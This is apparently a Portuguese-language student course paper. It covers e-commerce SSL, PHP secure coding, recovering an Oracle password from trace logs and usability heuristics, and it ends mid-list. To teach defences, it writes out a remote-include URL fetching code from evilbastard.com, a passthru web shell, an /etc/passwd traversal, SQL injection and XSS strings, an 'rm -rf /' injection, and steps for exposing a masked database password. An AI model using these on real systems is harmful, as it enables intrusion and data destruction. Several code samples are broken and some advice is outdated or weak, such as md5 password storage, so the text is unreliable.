Buscar

96f30cea-8fcc-44c8-bfe9-df60ffe48a73

Prévia do material em texto

PAGE 
40
SISTEMA DE ENSINO PRESENCIAL CONECTADO
curso superior de tecnologia em análise e desenvolvimento de sistemas
maida franz
Produção textual individual
Nova Andradina
2011
 maida franz
PRODUÇÃO TEXTUAL INDIVIDUAL
Produção textual, apresentado ao Curso Superior de Tecnologia em Análise e Desenvolvimento de Sistemas da UNOPAR - Universidade Norte do Paraná, como requisito parcial para a obtenção do título de Tecnologia em Análises e Desenvolvimento de Sistemas.
Tutor Orientador: 
Professor Supervisor:dorival Magro J. 
Emerson Fedechen, Marco Hisatomi
Veronice de Freitas
Nova Andradina
2011 
SUMÁRIO
1 Introdução.............................................................................................................04
2 Segurança em comercio eletronico....................................................................05
3 Register Globals........................................................................................09
4 Arquivos Include.........................................................................................10
5 SQL Injection...............................................................................................13
6 Protegendo aquivos..............................................................................................17
7Cross site scripting...............................................................................................18
8 Comando Shell......................................................................................................20
9 Senhas de banco de dados.......................................................................................21
10 Técnicas IHC ..................................................................................................23
11 Caracteristicas IHC...................................................................................................35
12 Conseitos e Aplicações ERP...................................................................................41
13 Conclusão..................................................................................................................52
14 Referencias...............................................................................................................53
1. INTRODUÇÃO
Com o crescente numero de computadores nos mais diversos setores da vida humana, com a utilização de sistemas computacionais interativos e com o aparecimento da internet, muitos de nós cada vez mais estamos entrando na era digital e interagindo com essas poderosas ferramentas de trabalho, comunicação, entretenimento e educação. Essa utilização maçante e repetitiva tem causado varias decisões entre os desenvolvedores de aplicativos, sobre como criar ferramentas que facilitem a utilização e a satisfação dos seus usuários, atraindo cada vez mais clientes para sua aplicação.
Para construir sistemas para internet surgiu varias linguagens e ferramentas, facilitando o desenvolvimento, cada uma com uma particularidade diferente, porem todas com o mesmo ideal: tornar a internet mais interativa, ágil e segura.
Segurança em comercio eletronico SSL
Comércio eletrônico (e-commerce) é um processo de compra, venda, transferencia ou troca de produtos, servidos ou informações via rede de computadores, incluindo a internet; e negocio eletronico (e-business) como msendo não apenas a compra e venda de bens e serviços, mas tambem o atendimento ao cliente, colaboraçao com parceiros empresarios, realização de transaçoes eletronicas dentro de uma organizaçao.
O comercio eletronico obriga as organizaçoes a serem mais eficientes e flexiveis em seus procedimentos internos, onde pode ser verificado uma maior aproximaçao com seus fornecedores e uma maior agilidade ao atendimento das necessidades dos clientes.
O uso do comercio eletronico por parte das organizaçoes traz inumeros beneficios, tais como:
· Papeis: reduçao do uso de papeis e documentos.
· Tempo: geralmente é um fator significante e as transaçoes eletronicas podem economizar um tempo valioso.
· Distancia: a internet reduz as fronteiras, transformando seu negocio em um negocio global.
· Custo com pessoal: as transaçoes eletronicas com a reduçao de papeis reduzem tambem d forma significativa o pessoal.
· Relaçoes com cliente: resulta em uma relaçao mais estreita com os clientes e fornecedores.
· Facilidade de uso e controle: um dos maiores beneficios da internet para o comercio eletronico é a reduçao de processos burocraticos, deixando-os mais simples.
Transaçoes utilizando o comercio eletronico podem ser feitas entre diversas partes. Os tipos mais comuns de comercio eletronico são:
· Business-to-business (B2B): transaçoes onde os vendedores e compradores são empresas.
· Business-to-consumer (B2C): transaçoes onde os vendedores são empresas e os compradores são individuos (pessoa fisica); tambem conhecido como e-tailing.
· Consumer-tobusiness (C2B: transaçoes onde os consumidores tornam conhecida uma necessidade especifica por um produto ou serviço, e os fornecedores competem para fornrcer o produto ou serviço aos consumidores.
· Consumer-to consumer (C2C: transaçoes na qual um individuo vende seus produtos/serviços a outros individuos.
· Comercio colaborativo (c-commerce): os parceiros empresariais colaboram (em vez de comprar e vender) eletronicamente. Ele implica comunicaçao, compartilhamento de informaçoes e colaboraçao feitas eletronicamente por ferramentas especialmente projetadas para isso.
SSL ( Secure Sockets Layer) é uma tecnologia de segurança que é utilizada para codificar os dados transferidos entre o computador de um utilizador e um website. O protocolo SSL, através de um processo de encriptação dos dados, previne que os dados transmitidos possam ser interceptados, ou mesmo alterados no seu percurso entre o navegador (browser) do utilizador e o site com o qual ele está ligado, garantindo desta forma a troca de informações confidenciais como os dados de cartão de crédito.
 Quando um visitante de uma loja ou website se liga a um servidor que está utilizando o protocolo SSL, eles irão notar na barra de endereços, que o protocolo passa a ser https:// ( no lugar do http:// padrão). Aliado a isto, a maioria dos browsers mostram um cadeado. Quando este cadeado está visível, o utilizador passa a saber que está estabelecida uma ligação segura.
Para obter um certificado digital SSL é necessário fornecer informações sobre o detentor do Website, tais como endereço, documentação e pessoa de contacto. Com estes dados, é gerado um par de chaves de encriptação, que irão garantir o processo de codificação dos dados. Estas chaves são duas: Uma chave privada, que deverá ficar somente no servidor e uma chave pública que será utilizada, em conjunto com as informações de registo, para gerar um CSR (Certificate Signing Request).
Este CSR é então submetido a uma autoridade certificadora (CA) que irá validar os dados de registo, através da comprovação da autenticidade dos documentos e da propriedade do website, garantindo que aquele certificado foi realmente emitido para o proprietário do website.
A autoridade certificadora, gera então o certificado definitivo, que deverá ser instalado pelo responsável do alojamento do website
As "Certification Authority" ou Autoridade Certificadora (CA) são empresas que realizam a emissão dos certificados seguros SSL. As autoridades certificadoras são responsáveis por validar a indentidade de um website. O que mais se aproxima de uma entidade normalizadora das autoridades certificadoras é o "Webtrust Compliancy Program" administrado pela AICPA/CICA. A maioria das CA's obedecem aos critérios da Webtrust. 
Os critérios mais importantes a serem considerados para escolher um certificado, são o reconhecimento inserido nos browsers e a marca do emissor do certificado.
O reconhecimento pelos web browsers (navegadores) é importante, porque existem muito tipos de utilizadores que utilizam Windows, Linux, Macintosh e em cada um destes sistemasoperativos, existe mais de uma opção de navegador. O facto de utilizar um certificado que não tem o reconhecimento pela maioria dos browsers, poderá fazer com que um número significativo de visitantes do seu site se veja impossibilitado de poder utilizar o certificado.
 Para evitar este tipo de problema, deve-se procurar um certificado de uma autoridade certificadora que tenha renome no mercado, conquistado através da aprovação por parte dos utilizadores e também pelos desenvolvedores dos navegadores, que consequentemente irão incluir o suporte directamente no navegador.
 Com relação ao tipo específico de certificado, é de escolher sempre os certificados a partir de 128 bits de codificação. Actualmente já existem certificados de 256 bits, estes aumentam de forma clara a segurança na troca de dados e credibilizam ainda mais a loja online. 
Codigo seguro em PHP
PHP é uma linguagem muito fácil de aprender e não precisa de um esforço muito grande que as outras linguagens necessitam. Por um lado, isso é bom para os iniciantes em php, pois podem começar a programar rapidamente, mas infelizmente, eles não se importam em aprender algo sobre segurança e acabam escrevendo seus códigos de qualquer jeito… Isso infelizmente não acontece somente com PHP. Acho que a maioria que começa a programar escreve os primeiros códigos com falhas banais de segurança. Em algumas linguagens isso não é um problema grave, porem toda tecnologia que é voltado para web, tem contato com um numero muito grande de pessoas diferentes, algumas são boas… outras no entanto não.
Eu imagino que a maioria dos iniciantes em PHP vai escrever em seus primeiros códigos minis-cms ou sistemas de noticias. Um grande número de sites pequenos provavelmente rodam códigos pessoais escritos por alguns que não possuem uma experiência necessária com php, isso também significa que um grande numero de sites podem se tornarem (e estão) inseguros.
Eu mostrarei uma lista das falhas mais comuns que podemos encontrar e apesar de parecerem banais, são muito encontrados, junto com os maiores perigos.
Register Globals
Isso não é um problema novo, já foi tema de muitos artigos e muitos avisos porem infelizmente é algo mais comum de se encontrar. Porem talvez seja a primeira que alguns estão vendo isso… Então irei explicar:
No php.ini a variável register_globals até a versão 4.2.0 o padrão era on, porém a partir dela o padrão tornou-se off, porem muitos servidores ainda usam on, pois muitos scripts antigos foram feitos com base o register_globals on, então obviamente não funcionam quando o padrão é off.
Como register_globals está on, as variáveis id e shoes tornaram-se variáveis globais.
Por exemplo:
<?php
echo$id;// 4
echo$shoes;// cake
?> 
O problema é que isso permite que isso permite que variáveis sejam injetadas via url. Um script problemático poderia ser um como esse:
<?php
if(AuthenticateUser($user,$pass)) {
$loggedin=1;
}
// se tiver valor 1 eh como se fosse autenticado
if($loggedin==1) {
// conteudo que somente um usuário logado pode ver.
include(“admin.php”);
}
?>
Agora se alguém chamasse a url test.php?loggedin=1
O script entenderia que a pessoa está logada, pois $loggedin se tornou uma variável global com o valor 1.
Uma ‘correção’ simples seria assim:
<?php
if(AuthenticateUser($user,$pass))
$loggedin=1;
else
$loggedin=0;
?>
Desse modo, até mesmo se o $loggedin for injetado via url, ele se tornaria 0.
Com register_globals off, variáveis que são passadas como parâmetro via url, não se tornam variáveis globais. A forma certa de é você simplesmente usar as ‘superglobals’ que são _GET, $_POST, $_SERVER, etc. etc.
O uso de superglobals sempre é preferido por razões de segurança e isso também deixa o código mais limpo e seguro. Pois você sabe quais variáveis estão vindo do GET/POST e quais não estão/*
observação: A partir do PHP 6 provavelmente register_globals não irá mais existir
*/.
Arquivos Include
 A maioria das pessoas não quer ter o site inteiro em um único arquivo ‘.php’ e isso é bem aceitável em relação a questões de organização e de atualização de código, então geralmente usam vários arquivos separados. Dessa forma pode-se fazer por exemplo um cabeçalho e um rodapé mais facilmente.
Considere este exemplo:
<?php
//aqui ficaria o cabeçalho
$page=$_GET['page'];
include($page);
//aqui ficaria o rodapé
?>
Deste modo, é possível colocar conteúdos específicos em arquivos separados. Ex: about.php, download.php, e o link para essas paginas seriam algo como:index.php?page=about,index.php?page=downloads.php
Se alguém chama a página dessa forma index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd.
Dessa forma seu arquivo de senhas fica vulnerável para ser visualizado, ou qualquer outro arquivo que esta rodando sob o php (httpd ou apache normalmente), pode ser lido por qualquer usuário.
O outro problema é se ‘URL Wrapper’ estiver on (como ele é por padrão), então alguém pode fazer um upload de um arquivo para um outro webserver.
Outro exemplo…
<?php passthru($_GET['cmd']); ?>
Então..
Coloque na url: index.php?page=http://evilbastard.com/hax0r.txt&cmd=whoami e poderá então rodar qualquer comando em seu servidor ou poderá mostrar detalhes da sua conexão com o banco de dados, basicamente rodar qualquer código php em seu servidor. A função include pega um arquivo de um servidor, e então executa isso como um código php, algo que é obviamente muito perigoso.
Um método seguro de incluir arquivos seria como o abaixo:
<?php
//cabeçalho do site
$page=$_GET['page'];
if(eregi(“^[a-z0-9\-_\.]+$”, $page, $regs)) //para ter certeza que $page é alfanumérico.
{
$dir=“includes/”;//pode ser branco
$ext=“.php”;//.php, .html, .txt, whatever
if(file_exists($dir.$page.$ext)) {
include($dir.$page.$ext); //ou outro tipo de extensão se não for necessariamente um arquivo .php
}
else echo’404 - Not Found’;/ou algo similar
}
else echo ‘Naughty Naughty, very Naughty.’;
//rodapé do site
?>
Então o link: index.php?page=about (assumiria about.php dentro do diretório‘includes’).
Se você sabe que o arquivo que será incluído não conte código php e sim apenas texto, então pode ser melhor usar readfile() ao invez de include()/require(), pois ambos irão executar qualquer código php que eles encontrarem algo que o readifle não irá.
Usando um diretório separado para incluir arquivos, pode ser ótimo como uma forma de parar urls do tipo: “includes/http://blah.com/lala.txt” que não irá funcionar. Isso não é realmente necessário se um utilizar um ereg como filtro nas urls.
Algumas pessoas nomeiam os arquivos que serão incluídos com a extensão ‘.inc’, isso é muito perigoso, pois .’inc’ não é interpretado como um código php pelo webserver e será visualizável no navegador como um texto na pagina. Isso parece algo banal, mais infelizmente muitos usam arquivos do tipo ‘config.inc’ que contem senhas de banco de dados etc, algo que torna o sistema muito inseguro. Arquivos que serão incluídos devem ter a extensão .php, pode ser exemplo.inc.php se você realmente quer que o nome contenha ‘.inc’, algo que eu acho desnecessário.
Você deve mantê-los fora do diretório root por uma pequena questão adicional de segurança.
SQL Injection
SQL injection ganhou uma atenção grande nos últimos tempos com mais e mais sites que estão com seus bancos de dados expostos a falhas. O nível de perigo depende de banco de dados que você está usando. MSSQL e Oracle são notavelmente ruins, com MSSQL tendo o comando xp_cmdshell permite executar qualquer comando virtualmente no server. Eu irei dar foco ao MySql, pois eu realmente não uso outros DBs e MySql é uma combinação muito comum com Php. (postgresql inicialmente é outro muito mais competidor)
Vamos supor que você tem um simples sistema de login, que valida usuários do banco dados:
(estamos supondo que magic_quotes esteja desligado)
<?php
$username=$_POST['username'];
$password = $_POST['password'];
$query= “SELECT * FROM `users` WHERE username=’$username’ AND password=’$password’”;
$result=mysql_query($query);
if(mysql_num_rows($result)>0)$admin1;
else $admin = 0;
if($admin==1) {
// blah blah, conteúdo restrito aqui.
}
?>
Certo, então o que isso faz é pegar o username e o password recebidos do formulário e checar na database se eles se correspondem. Vamos assumir como um usuário valido, “admin”, por exemplo. Se nós colocarmos no campo de login da pagina:
admin’#
O que acontecerá?
Vamos reescrever sql com as variáveis expandidas:
Código:
<?php $query=SELECT * FROM `users` WHERE username=’admin’#' AND password=’xxx’”; ?>
OK, então… O problema aqui é que as aspas simples não estão sendo escapadas adequadamente. No MySql, o símbolo (#) é considerado como um comentário, como as barras duplas (//) no php ou C++, tudo após o (#) passa a ser ignorado pois passa a ser um comentário, ignorando a verificação da senha. 
Obviamente isto só irá funcionar se você tiver um usuário válido.
No entanto, você não precisa necessariamente saber um usuário válido usando: ‘ OR 1=1#
Irá se tornar…
<? $query= “SELECT * FROM `users` WHERE username=” OR 1=1#’ AND password=’xxx’”; ?>
Isso irá selecionar todos os usuários do banco de dados. Se a função de login apenas contar o numero de linhas retornadas apos a query como a do exemplo. Então provavelmente irá assumir os dados do primeiro usuário retornado. 
Que pode ser possivelmente um admin.
Há várias coisas perigosas que você fazer com sql injection, mas elas estão além do objetivo desse artigo. Tudo que você precisa saber é a existência dela e como se proteger contra ela. O problema principal são as aspas simples serem interpretadas como parte da query. Que OBVIAMENTE não é o que nós queremos. O precisa ser feito é sempre ter certeza que elas serão escapadas, de forma que ‘ se tornaria \’ (\ é usado quando se escapa uma string). O melhor modo para fazer isto é usar a função nativa do PHP mysql_escape_string, como o exemplo abaixo:
<?php
$username=mysql_escape_string($_POST['username']);
$password=mysql_escape_string($_POST['password']);
$query= “SELECT * FROM `users` WHERE username=’$username’ AND password=’$password’”;
//etc etc
?>
Agora se nós tentarmos entrar com o campo username contendo admin’# aconteceria o seguinte:
<?php $query= “SELECT * FROM `users` WHERE username=’admin\’#' AND password=’xxx’”; ?>
As aspas simples são escapadas com sucesso e a query não está mais vulnerável.
Se você sabe que uma determinada variável irá ter o valor de inteiro, então o melhor a ser feito é:
<?php
$offset= (int)$_GET['offset'];
$query=“SELECT * FROM `cakes` LIMIT 20 OFFSET ’$offset’”;
?>
Então só um valor numérico pode ser passado deste modo, se um texto for enviado o valor da variável $offset será 0.
Praticamente tudo precisa ser escapado antes de ser enviado ao banco de dados. Os programadores tendem a esquecer coisas que não estão vindo das variáveis GET/POST, como o HTTP_REFERER ou HTTP_USER_AGENT, estes podem ser facilmente modificados para conter uma sql injection que deve ser escapado antes de ser colocado em uma query.
Há uma opção do PHP que pode ser configurada no php.ini, que se chama magic_quotes_gpc que escapa todos os dados vindos de variáveis GET/POST/COOKIE. Isso pode causar problemas quando você escapa strings, pois poderia dobrar barras assim (\\\’). Quer um conselho? Nunca programe como se no servidor isso estivesse habilitado, pois talvez em outro ele não esteja.
‘Criei’ uma função simples que sempre me ajuda… Então sempre use isso em variáveis vindas de GET/POST/COOKIE
<?php
functionescapestrings($b) {
if (!get_magic_quotes_gpc()) //se magic_quotes não estiver ativado, escapa a string
{
return mysql_escape_string($b); // função nativa do php para escapar variáveis
}
else// caso contrario
{
return$b;// retorna a variável sem necessidade de escapar duas vezes
}
}
?>
Exemplo:
<?php
$username=escapestrings($_POST['username']);
$password=escapestrings($_POST['password']);
$query= “SELECT * FROM `users` WHERE username=’$username’ AND password=’$password’”;
//etc etc
?>
Nota: Para você tirar as barras que foram incluídas para escapar,quando for mostrar os dados para o usuário use stripslashes(). Para evitar barras desnecessárias:
<?php
$article=mysql_fetch_array($fnord);
echo$article['title'];// Badger\’s Parade
echostripslashes($article['title']);// Badger’s Parade
?>
Protegendo arquivos
Bem pessoal, muitas pessoas / programadores iniciantes, costumam fazer um arquivo de configuração com o banco de dados, e deixa-los expostos a acesso direto em um diretório e/ou na raiz do site.
Para evitar o acesso direto a tal arquivo, deve se fazer o seguinte:
$pagina="pagina.php"; //aqui colocariamos o nome da pagina.
if(basename($_SERVER["PHP_SELF"])=='$pagina'){
die("<script>alert('Sem permição de acesso !')</script>\n<script>window.location=('index.php')</script>");
}
Basta colocar isso no arquivo e colocar o nome do mesmo na variável página.
com isso fica restrito o acesso ao arquivo de configuração via URL, se alguém tentar fazer isso:
Imprime no navegador a mensagem de acesso restrito e em seguida a pessoa é redirecionada para a página inicial.
2º Método:
if (eregi("pagina.php", $_SERVER['SCRIPT_NAME'])){
die ("<script>alert('Sem permição de acesso !')</script
Protegendo Funções POST
Outra falha comum é esquecer a checagem do login em determinadas partes do código.
postnews.php:
<?php
if$_SERVER['REQUEST_METHOD'] ==‘POST’) {
header(“Location: news.php”);
exit;
}
// Post News:
if(!UserLoggedIn()) {
echo“Error, You are not logged in”;
die;
}
// html for news posting form
?>
Se um usuário não autenticado fosse a essa pagina, então um erro iria aparecer. Se, no entanto um valor vindo do campo POST fosse enviado, seria possível ter acesso ao news.php sem estar autenticado. É muito fácil de esquecer de proteger pedaços específicos de códigos, principalmente quando se está com pressa ou com sono. Especialmente quando usuários logados e não logados tem acesso à mesma pagina e irão ver conteúdos diferentes, como também existem paginas que apenas quem está logado pode ter acesso. SEMPRE se lembre de proteger qualquer parte do código com checagens de login antes de executar o resto do código.
Cross Site Scripting (CSS/XSS)
Cross site scripting é feito quando você não filtra tags htmls vindas de um usuário e acaba executando elas, por exemplo:
<?php
if(mysql_num_rows($result) <1) {
echo“Your search for {$_GET['q']} yielded no results”;
exit;
}
else {
// blah
}
?>
search.php?q=<script>alert(“hello”);</script>
Em uma busca mal sucedida exibiria isso:
“Your search for <script>alert(“hello”);</script> yielded no results”
Esse javascript seria interpretado pelo navegador e uma alerta seria exibido.
Enquanto esse exemplo pode parecer relativamente inofensivo, é possível colocar coisas que irão pegar dados de cookies, podendo até roubar sessões, porem isso fica pro próximo artigo.
 Os dados devem ser checados antes de serem interpretados SEMPRE, como no caso de sql injection, em xss também, existem dois métodos para fazer isso:
a função strip_tags(); Irá remover todas as tags html de uma string. Ou,
a função htmlspecialchars(); Que irá converter caracteres especiais do html para um tipo que não poderá ser interpretado no browser como função do html e sim texto.
<?php
echo “Your search for ”.htmlspecialchars($_GET['q']).“ yielded no results”; //convert
echo “Your search for ”.strip_tags($_GET['q']).“ yielded no results”; //remove
?>
O correto é que nenhum valor vindo de um usuário deve ser executado sem uma devida checagem antes.
Ver código fonte
Eu já vi e provavelmente vocês também vários sites que possuem links para que se possa ver o código fonte da própria página. Normalmente um link é chamado viewsource.php?file=about.php ou tanto faz. É uma idéia legal, mas isso geralmente acaba deixando o site vulnerável para que se possa ver qualquer código fonte de um arquivo no servidor. Algo que certamente você não quer que aconteça. Pois certos arquivos podem conter senhas de bancos de dados etc.
<?php
if($file==‘config.php’)// bad
die(“You may not view this file”);?>
O problema com isto é que você pode fazer o seguinte viewsource.php?file=./config.php e isso irá checar com os caracteres adicionais ./
O melhor jeito de fazer isso é:
<?php
if(stristr($file,“config.php”))//good
die(“You may not view this file”);
?>
Comandos Shell
Comandos Shells são outro caso de falha. No PHP executar comandos shell é fácil, pois existem varias funções para isso, como system(), exec(), popen(), backticks, passthru, etc.
No geral você nunca deveria usar qualquer valor vindo de um usuário para executar como um comando shell
<?php
$text=$_GET['text'];
$banner= `banner $text`;
?>
Se alguém colocar: x; rm -rf /
Isso causaria muitos problemas..
Você pode usar a função escapeshellcmd(); para se proteger de dados perigosos vindos de usuários. Está função escapa qualquer caractere em uma string que possa ser utilizado para enganar um comando shell para executar comandos arbritários. E também é aconselhável usar alguma regex para ter certeza ;} Ou melhor ainda, NÃO USE valores de um usuário em comandos shell
Senhas de Banco de dados
Se sua aplicação tiver algum tipo de lista de usuários que cada usuário tem uma senha, é aconselhável armazenar as senhas com algum tipo de encriptação. Se alguém conseguir roubar os dados do seu banco de dados, não poderá usar as senhas pois estarão encriptados ;} Uma dica é usar md5(), É claro que senhas com md5 podem ser quebradas porém isso é bem difícil e muito mais difícil do que falar hehe!
 Senha de banco de dados
Você já passou por aquela situação de desconfiança, onde ao informar a senha de acesso ao banco de dados e pensou "poxa, tenho de informar a senha em texto limpo ?", desejando que a senha estivesse cifrada.
Isso por padrão ocorre em alguns servidores de aplicativos, onde a senha de acesso ao banco de dados é informada em texto limpo, em outros servidores de aplicativos a senha ecoa em asteriscos, deixando o usuário confortável que a senha está segura. Bem, não acredite nisso, a senha não está segura.
O que quero mostrar é que a senha pode ser extraída de outras maneiras, como inspecionar os pacotes de mensagens IP. O que pode garantir a senha é uma combinação de práticas e configurações para deixar o ambiente mais seguro.
Passo aqui um exemplo de como obter a senha do oracle configurado em um servidor de aplicativos conhecido no mercado.
Vejam abaixo na configuração da conexão, que a senha esta protegida por asteriscos
Faça os seguintes passos, para ver a senha no log
1. Usar a biblioteca JDBC de debug da oracle: ojdbc14_d.jar
2. Usar o driver XA oracle.jdbc.xa.client.OracleXADataSource
3. Incluir as seguintes propriedades de JVM 
4. -Doracle.jdbc.Trace=true
5. -Doracle.jdbc.LogFile=/var/tmp/oracle-trace/trace1
6. Reiniciar o servidor de aplicativos
Basta acompanhar o log de trace do oracle ou do servidor de aplicativos, que a senha será impressa desta maneira
INFO: OracleXADataSource.getXAConnection()
03/10/2007 15:33:16 oracle.jdbc.xa.client.OracleXADataSource getXAConnection
INFO: OracleXADataSource.getXAConnection(user = claudio, passwd = admin123)
03/10/2007 15:33:16 oracle.jdbc.driver.PhysicalConnection setAutoCommit
Para o Oracle é usado uma funcionalidade documentada, que é o trace das chamadas. Mas infelizmente, a senha é impressa junto. E vejam que nem com SSL, a senha é protegida. E é necessário ter privilégios de administração do servidor de aplicativos.
Quando que isso pode ser útil ?
Em lugares onde a senha do banco de dados, era digitada no console do appserver, pelo próprio pessoal da equipe de DBA, e em algumas situações era necessário realizar alguma pesquisa no BD, então essa dica vale a pena.
Em banco de dados de código livre fica mais fácil, basta usar o código fonte do driver JDBC, modificar o código fonte para imprimir a senha e pronto. Em banco de dados que não são de código livre, basta criar sua classe que estende DataSource e sobrecarregar o método getConnection e fazer um proxy para o DataSource do driver JDBC.
Então, percebam que os asteriscos no textfield não significam segurança para a senha do banco de dados.
Interação humano-computador (IHC,) 
Éo estudo da interação entre pessoas ecomputadores. É uma matéria multidisciplinar que relaciona aciencia da computação, artes, design, ergonomia, psicologia, sociologia, semiotica, linguistica, e áreas afins. A interação entre humanos e máquinas acontece através dainterface do utilizador, formada por software ehardware. Ela é utilizada, por exemplo, para a manipulação de perifericos de computadores e grandes máquinas como avioes e usinas hidreletricas.
O desempenho humano no uso de computadores e de sistemas de informação tem sido uma área de pesquisa e desenvolvimento que muito se expandiu nas últimas décadas. Isso tem sido feito usando-se poderosas ferramentas computacionais na análise de dados coletados de acordo com métodos da psicologia experimental. Outras contribuições também advém da psicologia educacional, do design instrucional e gráfico, dos fatores humanos ou ergonomia, e bem mais recentemente, da antropologia e da sociologia.
A área de IHC começou com Donald Normam, psicólogo cognitivista que trabalhou o conceito de usabilidade. É possível citar três ondas durante a história da área de IHC:
· Primeira onda - voltada para fatores humanos. Estudo do usuário como um conjunto de mecanismos de processamento de informação. Foco no indivíduo. Criação de guias para desenvolvimento de interfaces, métodos formais e testes sistemáticas baseados em métricas.
· Segunda onda - voltada para atores humanos. Foco em grupos. Abordagens qualitativas e não mais quantitativas, prototipação e design contextual. Natureza holística da pessoa em dado ambiente.
· Terceira onda - foco em aspectos culturais e estéticos. Expansão do cognitivo ao emocional. Fatores pragmáticos sociais da experiência. Tecnologias ubíquas, móveis e pequenas. Tecnologia extrapola os limites do contexto de trabalho e passa a fazer parte da cultura, vida e casa das pessoas.
 Definição de usabilidade
A usabilidade está associada aos estudos de HCI - Interacção Humana com o Computador e à Ergonomia. A usabilidade prende-se com a afinidade de interacção entre os utilizadores e os sistemas tecnológicos de informação. Segundo Jakob Nielsen, um dos grandes investigadores da área, a “usabilidade é um atributo de qualidade que avalia quão fácil uma interface é de usar. A palavra usabilidade refere-se, também, aos métodos de melhoramento da facilidade de utilização durante o processo de criação”. Por sua vez, a usabilidade também pode ser definida como a “medida de qualidade da experiência de um utilizador ao interagir com um produto ou um sistema – seja um website, uma aplicação de software, tecnologia móvel, ou qualquer dispositivo operável por um utilizador”. A usabilidade não é uma propriedade singular, unidimensional de uma interface do sistema tecnológico de informação. A usabilidade assenta numa multiplicidade de elementos, sendo tradicionalmente associada, segundo Jakob Nielsen, aos seguintes predicados:
· Facilidade de aprendizagem: o sistema deve ser fácil de assimilar pelo utilizador, para que este possa começar a trabalhar rapidamente;
· Eficiência: o sistema deve ser eficiente para que o utilizador depois de o saber usar, possa atingir uma grande produtividade;
· Facilidade de memorização: o sistema deve ser facilmente memorizado, para que depois de algum tempo sem o utilizar, o utilizador se recorde de o usar;
· Segurança: o sistema deve prever os erros e evitar que os utilizadores os cometam e, quando assim é, deve recuperar facilmente o que foi perdido.
· Satisfação: o sistema deve ser usado de uma forma agradável, para que os utilizadores fiquem satisfeitos com a sua utilização.
Por sua vez, Preece, acrescenta mais duas qualidades inerentes ao termo usabilidade, em relação às anteriores: eficácia e a utilidade.
· Eficácia: mede a adequação da interface, se ela permite a realização correcta do que é suposto;
· Utilidade: Refere-se à capacidade da interfaceapresentar as funcionalidades certas para que o utilizador atinja o seu objectivo final.
Por sua vez, a noção de usabilidade (eficácia, eficiência e satisfação - cf. Norma ISO DIS 9241-11) está muito ligada à ideia de tarefa, ou seja, da interacção que o utilizador efectua com o sistema.
No entanto, a ideia de contexto de utilização também já começa a ser considerado, mas apenas como factor que influencia a interacção. Deste modo, os métodos de avaliação tradicionais concentram-se bastante na questão do apoio que os sistemas concedem para que o utilizador consiga realizar as tarefas.
Técnicas de recolha de requisitos
Os requisitos de usabilidade são essenciais na concepção de qualquer sistema tecnológico de informação. Estes podem ser definidos através das várias técnicas desenvolvidas para o efeito, contudo, a sua escolha depende de variados factores, nomeadamente:
· Fase do “ciclo de vida” do sistema em que vão ser aplicados os requisitos;
· Orçamento disponível;
· Recursos técnicos e humanos disponíveis;
· Nível de abrangência/profundidade da recolha dos requisitos;
· Perfis dos utilizadores;
· Tipologia de requisitos dentro da usabilidade;
Na obra de Valter Avelino, denominada: “MERUSA: metodologia de especificação de requisitos de usabilidade e segurança orientada para arquitectura” pode encontrar-se uma listagem dos métodos de avaliação de usabilidade mais utilizados.
 Classificação dos métodos de avaliação da usabilidade
Este centra a sua discussão sobre a definição dos métodos/técnicas mais adequadas a implementar para cada uma das fases do ciclo de desenvolvimento do sistema tecnológico de informação. Em seguida são expostas algumas técnicas que, depois de aplicadas e analisadas, resultam na recolha de requisitos associados à usabilidade de um determinado sistema.
Entrevistas e Questionários
O uso de entrevistas é uma das técnicas mais usadas para identificar e assimilar os requisitos do cliente/utilizador. Trata-se de uma técnica simples e directa que pode ser usada qualquer situação. Um dos aspectos fundamentais desta técnica é garantir que as ideias e predisposições naturais do entrevistador não interfiram com uma livre troca de informação.
Observação
A observação é um método científico aplicada no âmbito de uma determinada investigação. Consiste em perceber, visualizar e não interpretar. Ou seja, a observação resulta na descrição do que foi visualizado, sem haver qualquer juízo de valor. A observação deverá ser efectuada por um moderador que deve, paralelamente, acompanhar a execução das tarefas. Este é um método barato, simples e bastante realista. Em síntese, o contacto com um utilizador inexperiente, aquando da interacção com um determinado sistema, facilita a percepção das dificuldades de navegação. As melhorias e os arranjos do esquema de navegação dependem (ou devem depender) do modo como o utilizador comum usa o sistema. O contacto com utilizadores “reais” através de testes de interacção, conversas, questionários, registo de acessos é imprescindível. Desta interacção, deste feedback podem advir requisitos que possibilitam a melhoria do sistema.
Cenários
“Cenários têm vindo a ser usados ao longo do tempo em diversas áreas, nomeadamente em interacção homem-computador, engenharia de requisitos, desenho orientado a objectos, planeamento estratégico, etc, uma vez que facilitam bastante a criação e utilização de casos de uso, de uma forma simples e flexível. A utilização desta aproximação em engenharia de requisitos é baseada na hipótese de que a integração desta técnica permite melhorar o processo de especificação de requisitos através de um maior envolvimento dos utilizadores no mesmo. Esta técnica descreve os requisitos numa linguagem fácil de entender e validar para todas as pessoas relacionadas com o projecto, motivando-as a discutir e participar, obtendo assim um maior feedback sobre o que se está a fazer.”
Focus Groups
O Focus group é uma técnica utilizada na pesquisa de mercado qualificado na qual se emprega a discussão moderada de entre 8 e 12 participantes. Discussões de grupo costumam durar entre hora e meia e duas horas e devem ser coordenadas por um moderador experimentado. Os focus groups são usados nos temas mais diversos. Esta técnica é usada frequentemente no âmbito da usabilidade, pois constitui-se como o processo ideal (aparentemente) para se perceber o que é que agrada ou desagrada aos utilizadores de um determinado sistema. Segundo um estudo apresentado por Nielsen, os focus groups estão desfasados três níveis da realidade, dado que:
· Os utilizadores em norma dizem o que acham que o coordenador do teste quer ouvir ou aquilo que é socialmente aceite;
· Os utilizadores dizem aquilo que acham que fizeram (mas a memória é falível);
· Quando os utilizadores dizem o que fizeram já estão a racionalizar o facto e omitem, inadvertidamente, dados.
Walkthrough Cognitivo
O cognitive walkthrough é uma técnica de avaliação do desenho de interfaces, com especial atenção para o suporte que a interface pode dar a uma aprendizagem exploratória, ou seja, a utilização pela primeira vez, sem nenhum treino prévio [Rienman95]. O método pretende responder a uma questão: até que ponto consegue o sistema em análise guiar um utilizador não treinado na sua utilização, de modo a permitir-lhe atingir os seus objectivos?
 Heurísticas para avaliação da usabilidade
Na obra de Bruno Figueiredo é apresentada uma lista com 16 critérios de avaliação heuriticas. Estes critérios resultam de uma compilação de recomendações de Jakob Nielsen (responsável pelas 10 primeiras), Bruce Tognazzini, Mark Pearrow, Jared Spool e Steve Krug. Através da dissecação destas heurísticas é possível interpretar mais um conjunto de requisitos de usabilidade a que um determinado sistema tecnológico de informação deve obedecer. Os critérios de avaliação são os seguintes:
